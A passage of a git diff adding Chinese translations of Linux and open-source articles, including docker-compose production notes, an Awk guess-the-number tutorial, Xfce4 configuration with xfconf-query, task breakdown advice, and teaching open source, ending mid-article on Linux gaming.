+### 我还是不知道它在生产环境的表现如何 + +到目前为止,这个项目的生产环境搭建进度,还停留在“我制作了一个 DigitalOcean droplet(LCCT 译注:一种 Linux 虚拟机服务),并手工编辑了很多文件”的阶段。 + +嗯……我相信以后会在生产环境中使用 docker-compose 来运行一下它的。我猜它能够正常工作,因为这个服务很可能最多只有两个用户在使用,并且,如果我愿意,我可以容忍它在部署过程中有 60 秒的不可用时间。不过话又说回来,出错的往往是我想不到的地方。 + +推特网友提供了一些在生产中使用 docker-compose 的注意事项: + + * `docker-compose up` 只会重启那些需要重启的容器,这会让重启速度更快。 + * 有一个 Bash 小脚本 [wait-for-it][3],你可以用它来保持等待一个容器,直到另一个容器的服务可用。 + * 你可以准备两份 `docker-compose.yaml` 文件:用于开发环境的 `docker-compose.yaml` 和用于生产环境的 `docker-compose-prod.yaml`。我想我会在分别为 Nginx 指定不同的端口:开发时使用 `8999`,生产中使用 `80`。 + * 人们似乎一致认为,如果你的项目是一台计算机上运行的小网站,那么 docker-compose 在生产中不会有问题。 + * 有个人建议说,如果愿意在生产环境搭建复杂那么一丢丢,Docker Swarm 就或许会是更好的选择,不过我还没试过(当然,如果要这么说的话,干嘛不用 Kubernetes 呢?Docker Compose 的意义就是它超级简单,而 Kubernetes 肯定不简单 : ))。 + +Docker 似乎还有一个特性,它能够 [把你用 docker-compose 搭建的环境,自动推送到弹性容器服务(ESC)上][4],听上去好酷的样子,但是我还没有试过。 + +### docker-compose 会有不适用的场景吗 + +我听说 docker-compose 在以下场景的表现较差: + + * 当你有很多微服务的时候(还是自己搭建比较好) + * 当你尝试从一个很大的数据库中导入数据时(就像把几百 G 的数据存到每个人的笔记本电脑里一样) + * 当你在 Mac 电脑上运行 Docker 时。我听说 Docker 在 macOS 上比在 Linux 上要慢很多(我猜想是因为它需要做额外的虚拟化)。我没有 Mac 电脑,所以我还没有碰到这个问题。 + +### 以上就是全部内容啦! + +在此之前,我曾花了一整天时间,尝试使用 Puppet 来配置 Vagrant 虚拟机,然后在这个虚拟机里配置开发环境。结果,我发现虚拟机启动起来实在是有点慢啊,还有就是,我也不喜欢编写 Puppet 配置(哈哈,没想到吧)。 + +幸好,我尝试了 Docker Compose,它真好简单,马上就可以开始工作啦! + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2021/01/04/docker-compose-is-nice/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://jvns.ca/#cool-computer-tools---features---ideas +[2]: https://github.com/yudai/gotty/ +[3]: https://github.com/vishnubob/wait-for-it +[4]: https://docs.docker.com/cloud/ecs-integration/ diff --git a/published/202206/20210115 Learn awk by coding a -guess the number- game.md b/published/202206/20210115 Learn awk by coding a -guess the number- game.md new file mode 100644 index 0000000000..24738ff4be --- /dev/null +++ b/published/202206/20210115 Learn awk by coding a -guess the number- game.md @@ -0,0 +1,200 @@ +[#]: collector: (lujun9972) +[#]: translator: (FYJNEVERFOLLOWS) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14668-1.html) +[#]: subject: (Learn awk by coding a "guess the number" game) +[#]: via: (https://opensource.com/article/21/1/learn-awk) +[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) + +通过编写“猜数字”游戏来学习 Awk +====== + +> 编程语言往往具有许多共同特征。学习一门新语言的好方法是去写一个熟悉的程序。在本文中,我将会使用 Awk 编写一个“猜数字”程序来展示熟悉的概念。 + +![](https://img.linux.net.cn/data/attachment/album/202206/03/130545jthh1vtoadahwahd.jpg) + +当你学习一门新的编程语言时,最好把重点放在大多数编程语言都有的共同点上: + + * 变量 —— 存储信息的地方 + * 表达式 —— 计算的方法 + * 语句 —— 在程序中表示状态变化的方法 + +这些概念是大多是编程语言的基础。 + +一旦你理解了这些概念,你就可以开始把其他的弄清楚。例如,大多数语言都有由其设计所支持的“处理方式”,这些方式在不同语言之间可能有很大的不同。这些方法包括模块化(将相关功能分组在一起)、声明式与命令式、面向对象、低级与高级语法特性等等。许多程序员比较熟悉的是编程“仪式”,即,在处理问题之前设置场景所需花费的工作。据说 Java 编程语言有一个源于其设计的重要仪式要求,就是所有代码都在一个类中定义。 + +但从根本上讲,编程语言通常有相似之处。一旦你掌握了一种编程语言,就可以从学习另一种语言的基本知识开始,品味这种新语言的不同之处。 + +一个好方法是创建一组基本的测试程序。有了这些,就可以从这些相似之处开始学习。 + +你可以选择创建的一个测试程序是“猜数字”程序。电脑从 1 到 100 之间选择一个数字,让你猜这个数字。程序一直循环,直到你猜对为止。 + +“猜数字”程序练习了编程语言中的几个概念: + + * 变量 + * 输入 + * 输出 + * 条件判断 + * 循环 + +这是学习一门新的编程语言的一个很好的实践实验。 + +**注**:本文改编自 Moshe Zadka 在 [Julia][2] 中使用这种方法和 Jim Hall在 [Bash][3] 中使用这种方法的文章。 + +### 在 awk 程序中猜数 + +让我们编写一个实现“猜数字”游戏的 Awk 程序。 + +Awk 是动态类型的,这是一种面向数据转换的脚本语言,并且对交互使用有着令人惊讶的良好支持。Awk 出现于 20 世纪 70 年代,最初是 Unix 操作系统的一部分。如果你不了解 Awk,但是喜欢电子表格,这就是一个你可以 [去学习 Awk][4] 的信号! + +您可以通过编写一个“猜数字”游戏版本来开始对 Awk 的探索。 + +以下是我的实现(带有行号,以便我们可以查看一些特定功能): + +``` +     1    BEGIN { +     2        srand(42) +     3        randomNumber = int(rand() * 100) + 1 +     4        print "random number is",randomNumber +     5        printf "guess a number between 1 and 100\n" +     6    } +     7    { +     8        guess = int($0) +     9        if (guess < randomNumber) { +    10            printf "too low, try again:" +    11        } else if (guess > randomNumber) { +    12            printf "too high, try again:" +    13        } else { +    14            printf "that's right\n" +    15            exit +    16        } +    17    } +``` + +我们可以立即看到 Awk 控制结构与 C 或 Java 的相似之处,但与 Python 不同。 +在像 `if-then-else`、`while` 这样的语句中,`then`、`else` 和 `while` 部分接受一个语句或一组被 `{` 和 `}` 包围的语句。然而,Awk 有一个很大的区别需要从一开始就了解: + +根据设计,Awk 是围绕数据管道构建的。 + +这是什么意思呢?大多数 Awk 程序都是一些代码片段,它们接收一行输入,对数据做一些处理,然后将其写入输出。认识到这种转换管道的需要,Awk 默认情况下提供了所有的转换管道。让我们通过关于上面程序的一个基本问题来探索:“从控制台读取数据”的结构在哪里? + +答案是——“内置的”。特别的,第 7-17 行告诉 Awk 如何处理被读取的每一行。在这种情况下,很容易看到第 1-6 行是在读取任何内容之前被执行的。 + +更具体地说,第 1 行上的 `BEGIN` 关键字是一种“模式”,在本例中,它指示 Awk 在读取任何数据之前,应该先执行 `{ ... }` 中 `BEGIN` 后面的内容。另一个类似的关键字 `END`,在这个程序中没有被使用,它指示 Awk 在读取完所有内容后要做什么。 + +回到第 7-17 行,我们看到它们创建了一个类似代码块 `{ ... }` 的片段,但前面没有关键字。因为在 `{` 之前没有任何东西可以让 Awk 匹配,所以它将把这一行用于接收每一行输入。每一行的输入都将由用户输入作为猜测。 + +让我们看看正在执行的代码。首先,是在读取任何输入之前发生的序言部分。 + +在第 2 行,我们用数字 42 初始化随机数生成器(如果不提供参数,则使用系统时钟)。为什么要用 42?[当然要选 42!][5] 第 3 行计算 1 到 100 之间的随机数,第 4 行输出该随机数以供调试使用。第 5 行邀请用户猜一个数字。注意这一行使用的是 `printf`,而不是 `print`。和 C 语言一样,`printf` 的第一个参数是一个用于格式化输出的模板。 + +既然用户知道程序需要输入,她就可以在控制台上键入猜测。如前所述,Awk 将这种猜测提供给第 7-17 行的代码。第 18 行将输入记录转换为整数;`$0` 表示整个输入记录,而 `$1` 表示输入记录的第一个字段,`$2` 表示第二个字段,以此类推。是的,Awk 使用预定义的分隔符(默认为空格)将输入行分割为组成字段。第 9-15 行将猜测结果与随机数进行比较,打印适当的响应。如果猜对了,第 15 行就会从输入行处理管道中提前退出。 + +就这么简单! + +考虑到 Awk 程序不同寻常的结构,代码片段会对特定的输入行配置做出反应,并处理数据,让我们看看另一种结构,看看过滤部分是如何工作的: + +``` +     1    BEGIN { +     2        srand(42) +     3        randomNumber = int(rand() * 100) + 1 +     4        print "random number is",randomNumber +     5        printf "guess a number between 1 and 100\n" +     6    } +     7    int($0) < randomNumber { +     8        printf "too low, try again: " +     9    } +    10    int($0) > randomNumber { +    11        printf "too high, try again: " +    12    } +    13    int($0) == randomNumber { +    14        printf "that's right\n" +    15        exit +    16    } +``` + +第 1–6 行代码没有改变。但是现在我们看到第 7-9 行是当输入整数值小于随机数时执行的代码,第 10-12 行是当输入整数值大于随机数时执行的代码,第 13-16 行是两者相等时执行的代码。 + +这看起来“很酷但很奇怪” —— 例如,为什么我们会重复计算 `int($0)`?可以肯定的是,用这种方法来解决问题会很奇怪。但这些模式确实是分离条件处理的非常好的方式,因为它们可以使用正则表达式或 Awk 支持的任何其他结构。 + +为了完整起见,我们可以使用这些模式将普通的计算与只适用于特定环境的计算分离开来。下面是第三个版本: + +``` +     1    BEGIN { +     2        srand(42) +     3        randomNumber = int(rand() * 100) + 1 +     4        print "random number is",randomNumber +     5        printf "guess a number between 1 and 100\n" +     6    } +     7    { +     8        guess = int($0) +     9    } +    10    guess < randomNumber { +    11        printf "too low, try again: " +    12    } +    13    guess > randomNumber { +    14        printf "too high, try again: " +    15    } +    16    guess == randomNumber { +    17        printf "that's right\n" +    18        exit +    19    } +``` + +认识到这一点,无论输入的是什么值,都需要将其转换为整数,因此我们创建了第 7-9 行来完成这一任务。现在第 10-12、13-15 和 16-19 行这三组代码,都是指已经定义好的变量 guess,而不是每次都对输入行进行转换。 + +让我们回到我们想要学习的东西列表: + + * 变量 —— 是的,Awk 有这些;我们可以推断出,输入数据以字符串形式输入,但在需要时可以转换为数值 + * 输入 —— Awk 只是通过它的“数据转换管道”的方式发送输入来读取数据 + * 输出 —— 我们已经使用了 Awk 的 `print` 和 `printf` 函数来将内容写入输出 + * 条件判断 —— 我们已经学习了 Awk 的 `if-then-else` 和对应特定输入行配置的输入过滤器 + * 循环 —— 嗯,想象一下!我们在这里不需要循环,这还是多亏了 Awk 采用的“数据转换管道”方法;循环“就这么发生了”。注意,用户可以通过向 Awk 发送一个文件结束信号(当使用 Linux 终端窗口时可通过快捷键 `CTRL-D`)来提前退出管道。 + +不需要循环来处理输入的重要性是非常值得的。Awk 能够长期保持存在的一个原因是 Awk 程序是紧凑的,而它们紧凑的一个原因是不需要从控制台或文件中读取的那些格式代码。 + +让我们运行下面这个程序: + +``` +$ awk -f guess.awk +random number is 25 +guess a number between 1 and 100: 50 +too high, try again: 30 +too high, try again: 10 +too low, try again: 25 +that's right +$ +``` + +我们没有涉及的一件事是注释。Awk 注释以 `#` 开头,以行尾结束。 + +### 总结 + +Awk 非常强大,这种“猜数字”游戏是入门的好方法。但这不应该是你探索 Awk 的终点。你可以看看 [Awk 和 Gawk(GNU Awk)的历史][6],Gawk 是 Awk 的扩展版本,如果你在电脑上运行 Linux,可能会有这个。或者,从它的原始开发者那里阅读关于 [最初版本][7] 的各种信息。 + +你还可以 [下载我们的备忘单][8] 来帮你记录下你所学的一切。 + +> **[Awk 备忘单][8]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/learn-awk + +作者:[Chris Hermansen][a] +选题:[lujun9972][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/question-mark_chalkboard.jpg?itok=DaG4tje9 (question mark in chalk) +[2]: https://opensource.com/article/20/12/julia +[3]: https://opensource.com/article/20/12/learn-bash +[4]: https://opensource.com/article/20/9/awk-ebook +[5]: https://en.wikipedia.org/wiki/42_(number)#The_Hitchhiker's_Guide_to_the_Galaxy +[6]: https://www.gnu.org/software/gawk/manual/html_node/History.html +[7]: https://archive.org/details/pdfy-MgN0H1joIoDVoIC7 +[8]: https://opensource.com/downloads/cheat-sheet-awk-features diff --git a/published/202206/20210122 Configure a Linux workspace remotely from the command line.md b/published/202206/20210122 Configure a Linux workspace remotely from the command line.md new file mode 100644 index 0000000000..5c632a9870 --- /dev/null +++ b/published/202206/20210122 Configure a Linux workspace remotely from the command line.md @@ -0,0 +1,134 @@ +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14776-1.html) +[#]: subject: (Configure a Linux workspace remotely from the command line) +[#]: via: (https://opensource.com/article/21/1/remote-configuration-xfce4) +[#]: author: (David Both https://opensource.com/users/dboth) + +从命令行远程配置 Xfce4 工作区 +====== + +> 几乎所有的事情都可以从 Linux 命令行完成,包括对 Xfce4 进行远程配置。 + +![](https://img.linux.net.cn/data/attachment/album/202206/30/114747lfub5hh0b5nyquf3.jpg) + +与专有操作系统相比,我很欣赏 Linux 的一个特点是,几乎所有的东西都可以从命令行中进行管理和配置。意味着几乎所有的事情都可以在本地或者通过 SSH 远程登录进行管理。虽然有时候需要花费一点时间在互联网上搜索,但是你能想到的任务,是有可能从命令行完成的。 + +### 问题 + +有时候需要使用命令行对桌面进行远程配置。在这种特殊情况下,我需要响应远程用户的请求将在 [Xfce][2] 控制板上的工作区从四个减少到三个。这种配置只需要在互联网上搜索约 20 分钟就找到了。 + +xfwm4 的默认工作区数量和许多其他设置可以在 `/usr/share/xfwm4/defaults` 这个文件中找到和修改。因此将 `workspace_count=2` 设置为 `workspace_count=4` 就改变了主机上所有用户的默认值。同时,非 root 用户可以执行 `xfconf-query` 命令来查询和设置 xfwm4 窗口管理器的各种属性。它应该由需要改变设置的用户使用,而不是由 root 使用。 + +在下面的例子中,首先我验证了当前工作区数量为 `4` ,然后将数量改为 `2`,最后确认了新设置。 + +``` +[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count +4 +[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count -s 2 +[user@test1 ~]# xfconf-query -c xfwm4 -p /general/workspace_count +2 +[user@test1 ~]# +``` + +此更改会立即生效,用户可以马上看到,无需重新启动,甚至无需注销并重新登录。我曾在我的工作站上玩过这个游戏,当我输入设置不同数量的工作空间的命令时,可以观察到工作空间切换器的变化。我在哪儿都能找到乐子。;- ) + +### 更多探索 + +现在我解决了这个问题,我决深入了解一下 `xfconf-query` 命令。不幸的是,该工具没有手册或信息页,`/usr/share` 中也没有任何文档。退而求其次,使用 `-h` 选项获取一些帮助信息。 + +``` +$ xfconf-query -h + Usage: +   xfconf-query [OPTION…] - Xfconf commandline utility + Help Options: +   -h, --help            显示帮助选项 + Application Options: +   -V, --version         版本信息 +   -c, --channel         查询/修改通道 +   -p, --property        查询/修改属性 +   -s, --set             更新权限的值 +   -l, --list            罗列属性(或者通道,如果没有用 -c 指定) +   -v, --verbose         详细输出 +   -n, --create          当新属性不存在,则创建它 +   -t, --type            指定属性值类型 +   -r, --reset           重置属性 +   -R, --recursive       递归(与 -r 一起使用) +   -a, --force-array     即使只有一个元素也强制采用数组 +   -T, --toggle          反转现有的布尔属性 +   -m, --monitor         监视属性更改的通道 +``` + +这没有多大帮助,但我们还是可以从中找出一些有用的东西。首先,_通道_ 是可以修的属性的分组。我对 `general` 通道下的 `workspace_count` 属性进行了更改。让我们看看完整的通道列表: + +``` +$ xfconf-query -l +Channels: +  xfwm4 +  xfce4-keyboard-shortcuts +  xfce4-notifyd +  xsettings +  xfdashboard +  thunar +  parole +  xfce4-panel +  xfce4-appfinder +  xfce4-settings-editor +  xfce4-power-manager +  xfce4-session +  keyboards +  displays +  keyboard-layout +  ristretto +  xfcethemer +  xfce4-desktop +  pointers +  xfce4-settings-manager +  xfce4-mixer +``` + +给定通道的属性也可以用下列的命令来查看。我使用 `less` 分页器,因为结果是一长串数据。我对下面的列表进行了裁剪,但留下了足够多的条目,你可以看到这些条目的类型。 + +``` +$ xfconf-query -c xfwm4 -l | less +/general/activate_action +/general/borderless_maximize +/general/box_move +/general/box_resize +/general/button_layout +/general/button_offset +<裁剪> +/general/workspace_count +/general/workspace_names +/general/wrap_cycle +/general/wrap_layout +/general/wrap_resistance +/general/wrap_windows +/general/wrap_workspaces +/general/zoom_desktop +(END) +``` + +你可以用这种方式探索所有的通道。我发现通道通常对应“设置管理器”中的各种设置。这些属性是你在这些对话框中设置的。请注意,并非你在“设置管理器”对话窗口中找到的所有设置都是 Xfce 桌面的一部分,因此它们没有对应的通道。屏幕保护程序就是一个例子,因为它是通用的 GNU 屏幕保护程序,并不是 Xfce 独有的。“设置管理器” 是 Xfce 定位这些配置工具的一个很好的中心位置。 + +### 文档 + +综上所述,`xconf-query` 命令似乎没有任何手册或信息页,并且我在网上发现了很多不正确的、记录不全的信息。我发现对 Xfce4 来说最好的文档是 [Xfce 网站][2],关于 `xconf-query` 的一些具体信息可以在这里找到。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/remote-configuration-xfce4 + +作者:[David Both][a] +选题:[lujun9972][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_laptop_hack_work.png?itok=aSpcWkcl (Coding on a computer) +[2]: https://www.xfce.org/ diff --git a/published/202206/20210124 3 stress-free steps to tackling your task list.md b/published/202206/20210124 3 stress-free steps to tackling your task list.md new file mode 100644 index 0000000000..015dc51560 --- /dev/null +++ b/published/202206/20210124 3 stress-free steps to tackling your task list.md @@ -0,0 +1,66 @@ +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14773-1.html) +[#]: subject: (3 stress-free steps to tackling your task list) +[#]: via: (https://opensource.com/article/21/1/break-down-tasks) +[#]: author: (Kevin Sonney https://opensource.com/users/ksonney) + +轻松解决你的任务清单的三个步骤 +====== + +> 将你的大任务分为小步骤,避免自己不堪重负。 + +![](https://img.linux.net.cn/data/attachment/album/202206/29/145852zcqqw24v2svulswl.jpg) + +本周开始,我先回顾我的日程安排,看看我需要或想要完成的事情。通常,列表上有些较大的项目。无论来自工作上的问题,还是一系列关于生产力的文章,或者改进我家的鸡舍,当作为一项工作时,这个任务真的很艰巨。很有可能我无法坐下来,在一个时间段内,甚至在一天内完成类似(请注意,只是举例)21 篇文章之类的事情。 + +![21 Days of Productivity project screenshot][2] + +*21 天的生产力 (Kevin Sonney, [CC BY-SA 4.0][3])* + +所以当我的清单上有这样的东西时,我做的第一件事就是把它分解成更小的部分。如著名的诺贝尔文学奖得主 [William Faulkner][4] 说的“移山的人,从小石头开始。”(LCTT 译注:感觉与“千里之行,始于足下”是一个意思) 我们要解决大任务(山)并且需要完成各个步骤(小石头)。 + +我使用下面的步骤将大任务分割为小步骤: + + 1. 我通常很清楚完成一项任务需要做什么。如果没有,我会做一些研究来弄清楚这一点。 + 2. 我会顺序的写下完成的步骤。 + 3. 最后,我坐下来拿着我的日历和清单,开始将任务分散到几天(或几周或几个月),以了解我何时可以完成它。 + +现在我不仅有计划,还知道多久能完成。逐步完成,我可以看到这项大任务不仅变得更小,而且更接近完成。 + +军队有句古话,“遇敌无计”。 几乎可以肯定的是,有一两点(或五点)我意识到像“截屏”这样简单的事情需要扩展到更复杂的事情。事实上,在 [Easy!Appointments][5] 的截图中,竟然是: + + 1. 安装和配置 Easy!Appointments + 2. 安装和配置 Easy!Appointments WordPress 插件 + 3. 生成 API 密钥来同步日历 + 4. 截屏 + +即便如此,我也不得不将这些任务分解成更小的部分——下载软件、配置 NGINX、验证安装……你明白了吧。没关系。一个计划或一组任务不是一成不变的,可以根据需要进行更改。 + +![project completion pie chart][6] + +*今年的计划已经完成了 2/3 ! (Kevin Sonney, [CC BY-SA 4.0][3])* + +这是一项后天习得的技能,最初几次需要一些努力。学习如何将大任务分解成更小的步骤可以让您跟踪实现目标或完成大任务的进度,而不会在过程中不知所措。 + +-------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/break-down-tasks + +作者:[Kevin Sonney][a] +选题:[lujun9972][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ksonney +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_todo_clock_time_team.png?itok=1z528Q0y (Team checklist) +[2]: https://opensource.com/sites/default/files/day14-image1.png +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://en.wikipedia.org/wiki/William_Faulkner +[5]: https://opensource.com/article/21/1/open-source-scheduler +[6]: https://opensource.com/sites/default/files/day14-image2_1.png diff --git a/published/202206/20210131 How to teach open source beyond business.md b/published/202206/20210131 How to teach open source beyond business.md new file mode 100644 index 0000000000..1e8afecdf6 --- /dev/null +++ b/published/202206/20210131 How to teach open source beyond business.md @@ -0,0 +1,73 @@ +[#]: collector: (lujun9972) +[#]: translator: (duoluoxiaosheng) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14686-1.html) +[#]: subject: (How to teach open source beyond business) +[#]: via: (https://opensource.com/article/21/1/open-source-beyond-business) +[#]: author: (Irit Goihman https://opensource.com/users/iritgoihman) + +在商业之外,为学生们教授开源知识 +====== + +> Beyond 计划连接起未来科技行业的人才和开源文化。 + +![](https://img.linux.net.cn/data/attachment/album/202206/08/095200eezhuq7ssd4x4d66.jpg) + +那时,我还是一个大学生,我不明白人们为什么那么吹捧开源软件。我也使用 Linux 和开源软件,但是我不明白开源的运作模式,不知道如何参加一个开源项目,也不知道这对我未来的职业有什么好处。我的开发经验主要是家庭作业和学位需要的一个大型期末项目。 + +所以,当我开始踏足科技行业时,我发现我还有很多知识需要学习。我需要了解如何加入一个既定的、可能很大并且分散在不同地方的团队,为一个正在进行中的项目工作。我还要学会正确的沟通以保证我付出的努力不白费。 + +在这方面,我并不特别。我只是众多毕业生中的一员。 + +### 开源让毕业生的起点更高 + +作为一个工程师,一个管理者,从那时起我开始帮助刚入行的工程师。我发现,有开源经验的毕业生比没有开源经验的毕业生能更快的入门。 + +通过将开源方法纳入学术研究,学生们可以获得相关的行业经验,学会利用他们自己的知识,并建立一个陈述观点和分享知识的平台。参与开源项目可以对学生的技术知识和经验产生积极影响。这可以帮助他们更好的规划自己的职业生涯。 + +开源在科技行业的价值是公认的,它塑造了全球软件公司的文化。参与开源项目并采用 [开放组织文化][2] 正在成为行业普遍现象。公司寻求知道如何在开源领域工作并培养其文化的思想新颖、才华横溢的员工。因此,科技行业必须推动学术界将开源文化作为学习科技研究的基本方法之一。 + +### 商业之上是开源文化 + +当我遇到红帽的高级软件工程师 [Liora Milbaum][3] 时,我发现,我们对将开源文化和规则引入学术界有着共同的兴趣。Liora 之前创立了 [DevOps Loft][4], 在其中,她与有兴趣进入这个行业的人们分享了 DevOps 实践,并希望发起一个类似的项目,教授大学生开源。我们决定启动 [Beyond][5] 计划,将科技行业拥抱开源精神的人才与红帽的实践联系起来。 + +我们在 [Tel Aviv-Yafo 技术学院][6] 开始了 Beyond 计划,在那里,我们受到了信息系统学院的热烈欢迎。我们从介绍 DevOps 技术栈的 “DevOps 入门” 开始。我们开始时最大的挑战是怎么讲明白开源是什么。答案似乎很简单:实践出真理。我们不想给学生们讲授什么老套的学院课程,相反,我们想让学生接触到行业标准。 + +我们创建了一个包含常见的开源项目和工具的教学大纲来教授 DevOps 技术栈。该课程由工程师教授的讲座和实践组成。学生们被分成小组,每组都由一名工程师指导和支持。他们练习团队合作,分享知识(在团队内外),并有效的协作。 + +在我们为计算机科学学院的通讯准备的高级课程 “开源开发的基础” 中,我们遇到了另外的困难。当我们的课程开始两周以后,随着新冠疫情在全球的流行,我们完全靠远程沟通。我们通过与学生一起使用我们在红帽日常工作中使用的相同远程协作工具解决了这个问题。我们惊讶于过渡的是如此简单和顺利。 + +![Beyond teaching online][7] + +(Irit Goihman, [CC BY-SA 4.0][8]) + +### 成果展示 + +这两个课程取得了巨大的成功,我们甚至雇佣了我们最优秀的学生之一。我们收到了非常棒的反馈,同学们表示,我们对他们的知识、思维和软技能产生了积极影响。一些学生因为在课程期间的开源贡献而得到了他们第一份技术工作。 + +其他学术机构对这些课程表达出了极大的兴趣,因此我们将这个项目扩展到了另外一所大学。 + +很荣幸,在一群优秀工程师的参与下,与 Liora 一起领导这个成功的项目。我们一起助力开源社区的成长。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/open-source-beyond-business + +作者:[Irit Goihman][a] +选题:[lujun9972][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosheng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/iritgoihman +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc-lead-teacher-learner.png?itok=rMJqBN5G (Teacher or learner?) +[2]: https://opensource.com/open-organization/resources/open-org-definition +[3]: https://www.linkedin.com/in/lioramilbaum +[4]: https://www.devopsloft.io/ +[5]: https://research.redhat.com/blog/2020/05/24/open-source-development-course-and-devops-methodology/ +[6]: https://www.int.mta.ac.il/ +[7]: https://opensource.com/sites/default/files/pictures/beyond_mta.png (Beyond teaching online) +[8]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/published/202206/20210207 3 ways to play video games on Linux.md b/published/202206/20210207 3 ways to play video games on Linux.md new file mode 100644 index 0000000000..75f0f9992b --- /dev/null +++ b/published/202206/20210207 3 ways to play video games on Linux.md @@ -0,0 +1,97 @@ +[#]: collector: (lujun9972) +[#]: translator: (godgithubf) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14756-1.html) +[#]: subject: (3 ways to play video games on Linux) +[#]: via: (https://opensource.com/article/21/2/linux-gaming) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) + +在 Linux 上玩电子游戏的三种方式 +====== + +> 如果你准备放下爆米花,想从各个角度体验游戏的话,那么就在 Linux 下打开游戏吧! + +![](https://img.linux.net.cn/data/attachment/album/202206/25/143306xijsi5aaz5jsj2aj.jpg) + +如今,人们有更多喜欢 Linux 的理由。在这个系列里,我将分享 21 个使用 Linux 的理由。今天,我将从游戏开始。 + +我过去认为“游戏玩家”是一种非常特殊的生物,要由科学家们在数年的研究和测试之后严谨地认定才行。我从来没有把自己归类为游戏玩家,因为我所玩过的游戏要么是桌面游戏(棋盘类游戏和纸笔角色扮演游戏),要么是 NetHack、俄罗斯方块。现在,在移动设备、游戏机、电脑和电视机上都有游戏,我觉得现在的承认有各种形式的游戏玩家们了。如果你想自称为游戏玩家,你就可以是,不需任何资格认定。你不用必须在心里熟记那些“上上下下左右左右BA”的科乐美秘籍(你甚至可以不知道这是什么);你也不用必须买过和玩过 3A 级游戏。如果你时不时地玩游戏,你就完全可以自称为玩家。如果你想成为一名玩家,那么现在使用 Linux 正当其时。 + +### 欢迎来到游戏世界 + +剥除光鲜的广告,在其下面,你肯定会发现一个欣欣向荣的游戏世界。在人们相信不是电子表格也不是练习打字一类的软件能挣钱以前,新兴的游戏市场已经开始发展起来了。独立游戏indie game已经在流行文化上以各种方式打上了自己的烙印(或许你不相信,《我的世界》尽管不是开源的,但一开始就是一款独立游戏),这也证实了,在玩家眼里,可玩性高于产品价值。 + +独立开发者和开源开发者之间有很多交集。没有什么比带着你的 Linux 笔记本电脑,浏览 itch.io 或你的发行版的软件库,寻找鲜为人知但珍贵的开源游戏宝藏更有意义了。 + +有各种各样的开源游戏,包括大量的第一视角射击游戏、Nodulus 之类的益智游戏、运输大亨之类的策略经营游戏、Jethook 之类的竞速游戏、Sauerbraten 之类的竞速逃生游戏,以及很多未提到的(多亏了像 Open Jam 这样伟大的活动,每年都有新增的游戏)。 + +![Jethook game screenshot][10] + +总的来说,探索开源游戏的世界的体验,和购买大型游戏工作室的产品带来的即时满足感有很大的不同。大型游戏工作室生产的游戏提供大量的视听刺激、知名演员、和长达 60 小时以上的游戏时长。而独立和开源游戏不能与之相提并论。但是话又说回来,大型游戏工作室无法提供的是,当你发现一款别人未曾听说过的游戏时的产生的发现感和与个人相关的感受。当你意识到别人都非常想知道你刚玩过的哪个出色游戏时,大型工作室也并不能提供这种紧迫感。(LCTT 校注:此处大概的意思是指大型工作室的作品已被人熟知,没有什么挖掘的新鲜感) + +花点时间找出你最喜欢的游戏,然后浏览下你的发行商的软件仓库、Flathub、开源的游戏仓库,看看你能发现什么,如果发现你很喜欢的游戏,就帮忙推广一下吧。 + +#### Proton 和 WINE + +Linux 上的游戏并没有止步于开源,但是从开源开始的。数年前 Valve 软件公司通过发行 Linux 版的 Steam 客户端把 Linux 重新带入游戏市场时,人们希望这可以推动游戏工作室能编写原生的 Linux 游戏。一些工作室这样做了,但 Valve 公司并没有成功的把 Linux 推为主要的平台,即使是 Valve 品牌的游戏电脑。并且大多数游戏工作室又转回仅在 Windows 